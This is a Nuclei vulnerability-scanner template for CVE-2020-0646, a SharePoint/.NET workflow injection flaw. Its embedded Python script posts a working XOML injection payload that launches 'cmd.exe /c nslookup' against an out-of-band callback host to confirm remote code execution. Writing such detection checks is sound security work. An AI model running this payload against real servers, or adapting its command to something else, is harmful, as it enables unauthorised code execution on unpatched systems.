id: CVE-2020-0646

info:
  name: Microsoft .NET Framework - Remote Code Execution
  author: pszyszkowski
  severity: critical
  description: |
    A remote code execution vulnerability exists when the Microsoft .NET Framework fails to validate input properly, aka '.NET Framework Remote Code Execution Injection Vulnerability'.
  remediation: |
    Apply Microsoft security patches as described in the February 2020 SharePoint security update.
  impact: |
    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2020-0646
    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-0646
    - http://packetstormsecurity.com/files/156930/SharePoint-Workflows-XOML-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
    epss-score: 0.93865
    epss-percentile: 0.99875
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: microsoft
    product: .net_framework
    shodan-query: 'server:"ms .net remoting"'
    max-request: 1
  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev,vuln

variables:
  OAST: "{{interactsh-url}}"

code:
  - engine:
      - py
      - python3 #pip install requests_ntlm (required)

    source: |
      import os
      import urllib3
      import requests
      urllib3.disable_warnings()
      default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
      paths = [os.getenv('Path'), '/_vti_bin/webpartpages.asmx']
      host = os.getenv('RootURL')
      domain = os.getenv('OAST')
      user = os.getenv('username')
      pswd = os.getenv('password')
      data = f'''<?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Body>
          <ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages">
          <workflowMarkupText>
              <![CDATA[
              <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
                  <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/c nslookup {domain}");private/**/void/**/foobar(){{//' />
              </SequentialWorkflowActivity>
              ]]>
          </workflowMarkupText>
          <rulesText></rulesText>
          <configBlob></configBlob>
          <flag>2</flag>
          </ValidateWorkflowMarkupAndCreateSupportObjects>
      </soap:Body>
      </soap:Envelope>
      '''
      def main():
          if (user != None) and (pswd != None):
              ntlm = True
          else:
              ntlm = False
          if host is None:
              print("missing target. You must specify -u <url>")
              exit(1)
          if ntlm:
              from requests_ntlm import HttpNtlmAuth
              _auth = HttpNtlmAuth(user, pswd)
          else:
              _auth = None
          _headers = {
              'User-Agent': default_ua,
              'Content-Type': 'text/xml'
          }
          for item in paths:
              url = os.getenv('RootURL') + item
              res = requests.post(url, data, auth=_auth, verify=None, headers=_headers)
              if res.status_code != 200:
                  continue
              else:
                  print(f"HTTP/1.1 {res.status_code} {res.reason}")
                  for key, value in res.headers.items():
                      print(f"{key}: {value}")
                  print(f"\n{res.text}")
                  break
      if __name__ == '__main__':
          main()

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(body, "ValidateWorkflowMarkupAndCreateSupportObjectsResponse")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402207ec89f2aac0f86325a2eabfb713fe63f83316f93d22ee8aa9aa9ee467339a82e02204e31a372217dfcb5bfb19cd237df5f0cf3b4b037d701d0a252fa13c4994ddd49:922c64590222798bb761d5b6d8e72950